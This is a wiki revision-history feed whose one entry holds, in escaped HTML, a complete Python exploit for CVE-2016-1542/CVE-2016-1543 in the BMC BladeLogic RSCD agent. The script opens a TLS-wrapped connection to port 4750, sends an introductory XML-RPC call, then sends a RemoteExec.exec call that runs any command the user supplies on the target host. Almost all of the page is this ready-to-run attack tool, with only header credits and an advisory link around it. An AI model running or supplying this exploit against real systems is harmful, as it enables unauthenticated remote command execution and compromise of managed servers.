<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2016-1542_BMC_BladeLogic_8.3.00.64_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2016-1542 BMC BladeLogic 8.3.00.64 遠程命令執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2016-1542_BMC_BladeLogic_8.3.00.64_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2016-1542_BMC_BladeLogic_8.3.00.64_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T01:04:50Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2016-1542_BMC_BladeLogic_8.3.00.64_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1532&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: BMC BladeLogic RSCD agent remote exec - XMLRPC version # Filename: BMC_rexec.py # Github: https://github.com/bao7uo/bmc_bladelogic # Date: 2018-...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2016-1542_BMC_BladeLogic_8.3.00.64_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1532&amp;oldid=prev"/>
		<updated>2021-04-11T02:12:09Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: BMC BladeLogic RSCD agent remote exec - XMLRPC version # Filename: BMC_rexec.py # Github: https://github.com/bao7uo/bmc_bladelogic # Date: 2018-...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: BMC BladeLogic RSCD agent remote exec - XMLRPC version&lt;br /&gt;
# Filename: BMC_rexec.py&lt;br /&gt;
# Github: https://github.com/bao7uo/bmc_bladelogic&lt;br /&gt;
# Date: 2018-01-24&lt;br /&gt;
# Exploit Author: Paul Taylor / Foregenix Ltd&lt;br /&gt;
# Website: http://www.foregenix.com/blog&lt;br /&gt;
# Version: BMC RSCD agent 8.3.00.64&lt;br /&gt;
# CVE: CVE-2016-1542 (BMC-2015-0010), CVE-2016-1543 (BMC-2015-0011)&lt;br /&gt;
# Vendor Advisory: https://docs.bmc.com/docs/ServerAutomation/87/release-notes-and-notices/flashes/notification-of-critical-security-issue-in-bmc-server-automation-cve-2016-1542-cve-2016-1543&lt;br /&gt;
# Tested on: 8.3.00.64&lt;br /&gt;
 &lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
# BMC BladeLogic RSCD agent remote exec - XMLRPC version&lt;br /&gt;
# CVE: CVE-2016-1542 (BMC-2015-0010), CVE-2016-1543 (BMC-2015-0011)&lt;br /&gt;
 &lt;br /&gt;
# By Paul Taylor / Foregenix Ltd&lt;br /&gt;
 &lt;br /&gt;
# Credit: https://github.com/ernw/insinuator-snippets/tree/master/bmc_bladelogic&lt;br /&gt;
# Credit: https://github.com/yaolga&lt;br /&gt;
 &lt;br /&gt;
# Credit: Nick Bloor for AWS image for testing :-)&lt;br /&gt;
# https://github.com/NickstaDB/PoC/tree/master/BMC_RSCD_RCE&lt;br /&gt;
 &lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import sys&lt;br /&gt;
import argparse&lt;br /&gt;
import requests&lt;br /&gt;
import httplib&lt;br /&gt;
from requests.packages.urllib3 import PoolManager&lt;br /&gt;
from requests.packages.urllib3.connection import HTTPConnection&lt;br /&gt;
from requests.packages.urllib3.connectionpool import HTTPConnectionPool&lt;br /&gt;
from requests.adapters import HTTPAdapter&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
class MyHTTPConnection(HTTPConnection):&lt;br /&gt;
    def __init__(self, unix_socket_url, timeout=60):&lt;br /&gt;
        HTTPConnection.__init__(self, HOST, timeout=timeout)&lt;br /&gt;
        self.unix_socket_url = unix_socket_url&lt;br /&gt;
        self.timeout = timeout&lt;br /&gt;
 &lt;br /&gt;
    def connect(self):&lt;br /&gt;
        self.sock = wrappedSocket&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
class MyHTTPConnectionPool(HTTPConnectionPool):&lt;br /&gt;
    def __init__(self, socket_path, timeout=60):&lt;br /&gt;
        HTTPConnectionPool.__init__(self, HOST, timeout=timeout)&lt;br /&gt;
        self.socket_path = socket_path&lt;br /&gt;
        self.timeout = timeout&lt;br /&gt;
 &lt;br /&gt;
    def _new_conn(self):&lt;br /&gt;
        return MyHTTPConnection(self.socket_path, self.timeout)&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
class MyAdapter(HTTPAdapter):&lt;br /&gt;
    def __init__(self, timeout=60):&lt;br /&gt;
        super(MyAdapter, self).__init__()&lt;br /&gt;
        self.timeout = timeout&lt;br /&gt;
 &lt;br /&gt;
    def get_connection(self, socket_path, proxies=None):&lt;br /&gt;
        return MyHTTPConnectionPool(socket_path, self.timeout)&lt;br /&gt;
 &lt;br /&gt;
    def request_url(self, request, proxies):&lt;br /&gt;
        return request.path_url&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
def optParser():&lt;br /&gt;
    parser = argparse.ArgumentParser(&lt;br /&gt;
                        description=&amp;quot;Remote exec &amp;quot; +&lt;br /&gt;
                        &amp;quot;BladeLogic Server Automation RSCD agent&amp;quot;&lt;br /&gt;
                    )&lt;br /&gt;
    parser.add_argument(&amp;quot;host&amp;quot;, help=&amp;quot;IP address of a target system&amp;quot;)&lt;br /&gt;
    parser.add_argument(&lt;br /&gt;
            &amp;quot;-p&amp;quot;,&lt;br /&gt;
            &amp;quot;--port&amp;quot;,&lt;br /&gt;
            type=int,&lt;br /&gt;
            default=4750,&lt;br /&gt;
            help=&amp;quot;TCP port (default: 4750)&amp;quot;&lt;br /&gt;
            )&lt;br /&gt;
    parser.add_argument(&amp;quot;command&amp;quot;, help=&amp;quot;Command to execute&amp;quot;)&lt;br /&gt;
    opts = parser.parse_args()&lt;br /&gt;
    return opts&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
def sendXMLRPC(host, port, packet, tlsrequest):&lt;br /&gt;
    r = tlsrequest.post(&lt;br /&gt;
            'http://' + host + ':' + str(port) + '/xmlrpc', data=packet&lt;br /&gt;
        )&lt;br /&gt;
    print r.status_code&lt;br /&gt;
    print r.content&lt;br /&gt;
    return&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
intro = &amp;quot;&amp;quot;&amp;quot;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&amp;lt;methodCall&amp;gt;&amp;lt;methodName&amp;gt;RemoteServer.intro&amp;lt;/methodName&amp;gt;&amp;lt;params&amp;gt;&amp;lt;param&amp;gt;&amp;lt;value&amp;gt;2016-1-14-18-10-30-3920958&amp;lt;/value&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;param&amp;gt;&amp;lt;value&amp;gt;7&amp;lt;/value&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;param&amp;gt;&amp;lt;value&amp;gt;0;0;21;AArverManagement_XXX_XXX:XXXXXXXX;2;CM;-;-;0;-;1;1;6;SYSTEM;CP1252;&amp;lt;/value&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;param&amp;gt;&amp;lt;value&amp;gt;8.6.01.66&amp;lt;/value&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;/params&amp;gt;&amp;lt;/methodCall&amp;gt;&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
options = optParser()&lt;br /&gt;
rexec = options.command&lt;br /&gt;
PORT = options.port&lt;br /&gt;
HOST = options.host&lt;br /&gt;
rexec = &amp;quot;&amp;quot;&amp;quot;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&amp;lt;methodCall&amp;gt;&amp;lt;methodName&amp;gt;RemoteExec.exec&amp;lt;/methodName&amp;gt;&amp;lt;params&amp;gt;&amp;lt;param&amp;gt;&amp;lt;value&amp;gt;&amp;quot;&amp;quot;&amp;quot; + rexec  + &amp;quot;&amp;quot;&amp;quot;&amp;lt;/value&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;/params&amp;gt;&amp;lt;/methodCall&amp;gt;&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
sock.connect((HOST, PORT))&lt;br /&gt;
 &lt;br /&gt;
sock.sendall(&amp;quot;TLSRPC&amp;quot;)&lt;br /&gt;
wrappedSocket = ssl.wrap_socket(sock)&lt;br /&gt;
 &lt;br /&gt;
adapter = MyAdapter()&lt;br /&gt;
s = requests.session()&lt;br /&gt;
s.mount(&amp;quot;http://&amp;quot;, adapter)&lt;br /&gt;
 &lt;br /&gt;
sendXMLRPC(HOST, PORT, intro, s)&lt;br /&gt;
sendXMLRPC(HOST, PORT, rexec, s)&lt;br /&gt;
 &lt;br /&gt;
wrappedSocket.close()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>